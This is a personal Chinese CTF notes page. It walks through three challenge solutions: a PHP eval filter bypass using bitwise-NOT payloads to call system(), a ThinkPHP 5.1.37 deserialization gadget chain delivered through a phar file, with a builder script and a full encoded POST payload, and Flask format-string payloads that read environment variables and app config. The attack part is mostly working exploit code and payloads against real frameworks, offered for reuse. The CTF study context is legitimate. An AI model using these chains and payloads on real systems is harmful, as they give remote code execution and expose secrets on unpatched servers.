NS - CTF Notes

从零开始的CTF复健练习

持续更新直到不学习安全那天

笔记作者:outx

最后一次更新于2021-11-08

CTF复健暂停,直接实操!

无字母、数字、_的eval执行

index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>20){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}

这道题很常规,只是限制长度搞的我很难受,一开始只想到了用${}构造$_GET,但是由于长度限制,想拿flag必须要构造两次,然后分别填入函数名和参数,光是构造函数${~%22%A0%B8%BA%AB%22}[%AA]();已经占用了16个字符,在4个字符里指定flag.php是不现实的。

在hxd的提示下,可以直接取反构造函数和取反构造参数,于是构造(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);,翻译回来是system("ls /")的意思,这里注意可以不带引号玩

用于生成payload的php脚本如下:

1
2
3
4
5
6
<?php
# eval,无数字字母下划线执行命令
$func = urlencode(~"system");
$cmd = urlencode(~"ls /");
$payload = "(~$func)(~$cmd);";
echo $payload;

利用phar触发TP5.1.37的反序列化

源码:s=index/index/hello

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
namespace app\index\controller;
use think\Controller;

class Index extends controller
{
public function index()
{
return '这部分是前端';
}

public function hello()
{
highlight_file(__FILE__);
$hello = base64_encode('Welcome to D0g3');
if (isset($_GET['hello'])||isset($_POST['hello'])) exit;
if(isset($_REQUEST['world']))
{
parse_str($_REQUEST['world'],$haha);
extract($haha);
}
if (!isset($a)) {
$a = 'hello.txt';
}
$s = base64_decode($hello);
file_put_contents('hello.txt', $s);
if(isset($a))
{
echo (file_get_contents($a));
}
}
}

一个任意文件读取+一个指定后缀名文件的写入。通过写入phar包,利用phar://读取触发反序列化,结合TP5.1.37的反序列化漏洞达到命令执行的目的。

tp5137.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
$win = new Windows();
//echo base64_encode(serialize(new Windows()));
//id=whoami
?>

phar.phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include 'tp5137.php';

@unlink('phar.phar');
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = $win;
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

// 两次urlencode是base64中+和=的关系,由于代码里有parse_str和extract,这样才能正常赋值
echo urlencode(urlencode(file_get_contents("phar.phar")));

paylod:

1
2
3
4
?s=index/index/hello&id=cat%20/y0u_f0und_It

POST
world=hello=PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%252BDQrBAQAAAQAAABEAAAABAAAAAACLAQAATzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0IAAAAdGVzdC50eHQEAAAAqsahYQQAAAAMfn%252FYpAEAAAAAAAB0ZXN0tBgBQ8v5C13sBL%252Fyl3ck2XQg5WACAAAAR0JNQg%253D%253D%26a=phar://hello.txt

FLASK 格式化字符串 读environ

wsgi_app 并非唯一,可以去Flask类里面找,几乎所有包含上下文关系的都可以,EXP:
{passhash.__str__.__globals__[app].wsgi_app.__globals__[os].environ}

需要读config参考:
{passhash.__str__.__globals__[app].config}